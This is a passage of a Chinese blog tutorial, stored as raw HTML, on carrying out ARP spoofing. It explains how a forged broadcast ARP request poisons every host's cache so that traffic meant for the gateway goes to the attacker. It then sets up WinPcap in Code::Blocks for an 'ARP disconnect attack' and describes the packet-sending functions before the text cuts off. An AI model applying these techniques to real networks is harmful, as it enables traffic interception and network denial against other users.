style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6b64\u5904\u518d\u5217\u51fa\u4e00\u4e2a\u4f8b\u5b50\uff0c\u6bd4\u5982\u5728\u4e00\u7f51\u6bb5\u4e2d\uff0c\u6709\u82e5\u5e72\u4e3b\u673a\uff0c\u5982\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7f51\u5173<span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">xxxxxxxxxxx<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">A<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.2<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">bbbbbbbbbbbb<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.3<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">C<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\uff1a<\/span><span style=\"font-family:'Times New Roman'\">&#8230;&#8230;.<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&#8230;&#8230;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&#8230;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5982\u679c<span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u60f3\u5192\u5145\u7f51\u5173\uff0c\u8ba9\u5168\u7f51\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u90fd\u53d1\u9001\u81f3\u81ea\u5df1\uff0c\u5219\u53ef\u4ee5\u5e7f\u64ad\u5982\u4e0b<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/799bad5a3b514f096e69bbc4a7896cd920140124160644.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:130\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-799bad5a3b514f096e69bbc4a7896cd920140124160644.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<!--[if gte mso 9]&gt;MicrosoftInternetExplorer402DocumentNotSpecified7.8Normal0&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<!--[if gte mso 9]&gt;&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-weight:normal;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;\u6b64\u8bf7\u6c42\u5305\u7684\u4f5c\u7528\u662f\u8bf7\u6c42<span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3a\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.3<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684\u4e3b\u673a\u5c06\u81ea\u5df1\u7684<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u53d1\u9001\u5230<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3a<\/span><span style=\"font-family:'Times New Roman'\">aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684\u4e3b\u673a\u4e0a\uff0c\u6bcf\u4e2a\u6536\u5230\u6b64\u8bf7\u6c42\u5305\u7684\u4e3b\u673a\u90fd\u4f1a\u9a8c\u8bc1\u81ea\u5df1\u7684<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u662f\u5426\u4e3a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.3<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u82e5\u662f\u5219\u53d1\u9001\u4e00\u4e2a\u5305\u542b\u81ea\u5df1<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\u7ed9\u4e3b\u673a<\/span><span style=\"font-family:'Times New Roman'\">aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\uff0c\u4ece\u4e0a\u9762\u7684\u4f8b\u5b50\u53ef\u4ee5\u770b\u51fa\uff0c\u53ea\u6709<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u7b26\u5408\uff0c\u6240\u4ee5<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4f1a\u53d1\u9001\u4e00\u4e2a\u5e94\u7b54\u5305\u7ed9<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\uff0c\u4e0e\u6b64\u540c\u65f6\uff0c<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e5f\u4f1a\u901a\u8fc7\u8fd9\u4e2a\u8bf7\u6c42\u5305\u4fee\u6539\u672c\u5730\u7f13\u5b58\u8868\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f7f\u5f97<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1<\/span><span style=\"font-family:\u5b8b\u4f53\">\u548c<\/span><span style=\"font-family:'Times New Roman'\">aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\u76f8\u5bf9\u5e94\u3002\u867d\u7136\u662f\u53ea\u6709<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u5411<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u53d1\u9001\u4e86\u8bf7\u6c42\u5305\uff0c\u4f46\u662f\u7531\u4e8e\u5168\u7f51\u4e3b\u673a\u90fd\u63a5\u6536\u5230\u4e86\u6b64<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8bf7\u6c42\u5305\uff0c\u6240\u4ee5\u90fd\u4f1a\u6839\u636e<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e27\u4e2d\u7684\u6570\u636e\u4fee\u6539\u81ea\u5df1\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7f13\u5b58\u8868\uff0c\u6bd4\u5982\u4f60\u53ef\u4ee5\u5728<\/span><span style=\"font-family:'Times New Roman'\">C<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e2d\u53d1\u73b0\uff0c\u7f13\u5b58\u8868\u4e5f\u88ab\u4fee\u6539\u4e3a\u4e86\u6b64\u5bf9\u5e94\u5173\u7cfb\uff1a<\/span><span style=\"font-family:'Times New Roman'\">192.168.0.1&#8211;aaaaaaaaaaaa<\/span><span style=\"font-family:\u5b8b\u4f53\">\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\"><span>\u4e09\u3001<\/span><\/span><span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">\u7f16\u7a0b\u5b9e\u73b0<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6b3a\u9a97\u653b\u51fb<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u672c\u7a0b\u5e8f\u7528<span style=\"font-family:'Times New Roman'\">C<\/span><span style=\"font-family:\u5b8b\u4f53\">\u8bed\u8a00\u5b9e\u73b0\uff0c\u5229\u7528<\/span><span style=\"font-family:'Times New Roman'\">winpacp<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5b9e\u73b0\u53d1\u9001\u81ea\u5b9a\u4e49\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\uff0c\u4ee5\u8fbe\u5230<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6b3a\u9a97\u7684\u76ee\u7684\u3002\u9996\u5148\u4ece<\/span><span style=\"font-family:'Times New Roman'\">http:\/\/www.winpcap.org\/archive\/<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e0b\u8f7d<\/span><\/span><span><a href=\"http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip\"><span style=\"color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4.1beta5_WpdPack.zip<\/span><\/a><\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u548c<\/span><span><a href=\"http:\/\/www.winpcap.org\/archive\/4.1beta5_WinPcap.exe\"><span style=\"color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4.1beta5_WinPcap.exe<\/span><\/a><\/span><span style=\"color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5b89\u88c5\u5b8c<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4.1beta5_WinPcap.exe<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u540e\u5c06<\/span><span><a href=\"http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip\"><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4.1beta5_WpdPack.zip<\/span><\/a><\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u89e3\u538b\u7f29\u3002\u7136\u540e\u5728\u4f60\u7684<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">IDE\u4e2d\u6dfb\u52a0\u5934\u6587\u4ef6\u548c\u5e93\u6587\u4ef6\u7684include\u8def\u5f84\u3002\u6bd4\u5982\u6211\u7528\u7684\u662fCode::Blocks\uff0c\u5219\u505a\u5982\u4e0b\u8bbe\u7f6e\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">(1)Settings-&gt;Complier-&gt;Search&nbsp;directories-&gt;Compiler-&gt;Add-&gt;(\u9009\u62e9\u4f60<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u5c06<\/span><span><a href=\"http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip\"><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4.1beta5_WpdPack.zip<\/span><\/a><\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u89e3\u538b\u540e<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">Include\u7684\u76ee\u5f55\u8def\u5f84)<\/span>\n<\/p>\n<p><!--[if gte mso 9]&gt;MicrosoftInternetExplorer402DocumentNotSpecified7.8Normal0&lt;![endif]--><\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<!--[if gte mso 9]&gt;&lt;![endif]-->\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/d0096ec6c83575373e3a21d129ff8fef20140124162406.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:145\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-d0096ec6c83575373e3a21d129ff8fef20140124162406.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">..\\4.1beta5_WpdPack\\WpdPack\\Lib\\libwpcap.a)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/8266e4bfeda1bd42d8f9794eb4ea0a1320140124162419.png\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:146\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-8266e4bfeda1bd42d8f9794eb4ea0a1320140124162419.png\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff083\uff09<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff08Code::Blocks\u5b89\u88c5\u8def\u5f84\uff09<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\\CodeBlocks\\MinGW\\lib\\libiphlpapi.a)<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff08<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">4<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff09<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">(2)Settings-&gt;Complier-&gt;Linker&nbsp;settings-&gt;Add-&gt;(\u6dfb\u52a0<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff08Code::Blocks\u5b89\u88c5\u8def\u5f84\uff09<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\\CodeBlocks\\MinGW\\lib\\libws2_32.a)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:16.0000pt;font-family:'\u5b8b\u4f53'\">1.ARP<span style=\"font-family:\u5b8b\u4f53\">\u65ad\u7f51\u653b\u51fb<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u505a\u5b8c\u4e86\u51c6\u5907\u5de5\u4f5c\u6211\u4eec\u5c31\u53ef\u4ee5\u8fdb\u884c<span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u6b3a\u9a97\u7f16\u7a0b\u4e86\u3002\u5728\u6b64\u6b21\u65ad\u7f51\u653b\u51fb\u7684\u5b9e\u73b0\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u8981\u7528\u7684\u51fd\u6570\u6709\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff08<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">1<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff09<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">int&nbsp;pcap_findalldevs(pcap_if_t&nbsp;**,&nbsp;char&nbsp;*)&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8bf4\u660e\uff1a\u7528\u6765\u83b7\u5f97\u7f51\u5361\u7684\u5217\u8868<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u53c2\u6570\uff1a&nbsp;\u6307\u5411pcap_if_t**\u7c7b\u578b\u7684\u5217\u8868\u7684\u6307\u9488\u7684\u6307\u9488;&nbsp;char\u578b\u6307\u9488,\u5f53\u6253\u5f00\u5217\u8868\u9519\u8bef\u65f6\u8fd4\u56de\u9519\u8bef\u4fe1\u606f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8fd4\u56de\u503c:&nbsp;\u4e3aint\u578b\uff0c\u5f53\u663e\u793a\u5217\u8868\u5931\u8d25\u65f6\u8fd4\u56de-1&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff082\uff09<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">pcap_t&nbsp;*pcap_open_live(const&nbsp;char&nbsp;*&nbsp;device,&nbsp;int&nbsp;snaplen,&nbsp;int&nbsp;promisc,&nbsp;int&nbsp;to_ms,&nbsp;char&nbsp;ebuf&nbsp;*)&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8bf4\u660e\uff1a<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u7528\u6765\u6253\u5f00\u4e00\u4e2a\u7f51\u5361\u83b7\u53d6\u5176\u63cf\u8ff0\u7b26<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u53c2\u6570\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">device\u662f\u4e00\u4e2a\u6307\u51fa\u8981\u6293\u53d6\u7684\u7f51\u7edc\u8bbe\u5907\u7684\u5b57\u7b26\u4e32\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">snaplen\u6307\u660e\u6700\u5927\u53ef\u6293\u53d6\u7684\u5b57\u8282\u957f\u5ea6\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">promisc\u7f6e\u4f4d\u8868\u660e\u8be5\u63a5\u53e3\u8981\u88ab\u8bbe\u7f6e\u6210\u6df7\u6742\u6a21\u5f0f\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">to_ms\u4ee5\u6beb\u79d2\u4e3a\u5355\u4f4d\u8bbe\u7f6e\u8d85\u65f6\u65f6\u95f4\u3002\u5f53\u5728\u8d85\u65f6\u65f6\u95f4\u5185\u7f51\u5361\u4e0a\u6ca1\u6709\u6570\u636e\u5230\u6765\u65f6\u5bf9\u7f51\u5361\u7684\u8bfb\u64cd\u4f5c\u5c06\u8fd4\u56de\uff08\u5982&nbsp;pcap_dispatch()&nbsp;or&nbsp;pcap_next_ex()\u7b49\u51fd\u6570\uff09\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">ebuf\u88ab\u7528\u6765\u5b58\u653e\u5f53pcap_open_live()\u8c03\u7528\u5931\u8d25\u65f6\uff0c\u8fd4\u56de\u7684\u9519\u8bef\u5b57\u7b26\u4e32\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8fd4\u56de\u503c:&nbsp;pcap_t\u578b\u7684\u6307\u9488\uff0c\u4f9bpcap_dispatch()&nbsp;or&nbsp;pcap_next_ex()\u7b49\u51fd\u6570\u8c03\u7528\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff08<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">3<\/span><span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\uff09<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">int&nbsp;pcap_sendpacket(pcap_t&nbsp;*p,&nbsp;u_char&nbsp;*buf,&nbsp;int&nbsp;size)&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u8bf4\u660e\uff1a\u624b\u5de5\u53d1\u9001\u4e00\u4e2a\u6570\u636e\u5305\u4e86\u3002\u8fd9\u4e2a\u51fd\u6570\u9700\u8981\u7684\u53c2\u6570\uff1a\u4e00\u4e2a\u88c5\u6709\u8981\u53d1\u9001\u6570\u636e\u7684\u7f13\u51b2\u533a\uff0c\u8981\u53d1\u9001\u7684\u957f\u5ea6\uff0c\u548c\u4e00\u4e2a\u9002\u914d\u5668\u3002\u6ce8\u610f\u7f13\u51b2\u533a\u4e2d\u7684\u6570\u636e\u5c06\u4e0d\u88ab\u5185\u6838\u534f\u8bae\u5904\u7406\uff0c\u53ea\u662f\u4f5c\u4e3a\u6700\u539f\u59cb\u7684\u6570\u636e\u6d41\u88ab\u53d1\u9001\uff0c\u6240\u4ee5\u6211\u95e8\u5fc5\u987b\u586b\u5145\u597d\u6b63\u786e\u7684\u534f\u8bae\u5934\u4ee5\u4fbf\u6b63\u786e\u7684\u5c06\u6570\u636e\u53d1\u9001\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u53c2\u6570\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">p\u662f\u6253\u5f00\u7f51\u5361\u65f6\u8fd4\u56de\u7684\u7f51\u5361\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"color:#0000ff;font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">buf\u662f\u53d1\u9001\u6570\u636e\u5305\u7684\u5185\u5bb9\u7f13\u51b2\u533a\u9996\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 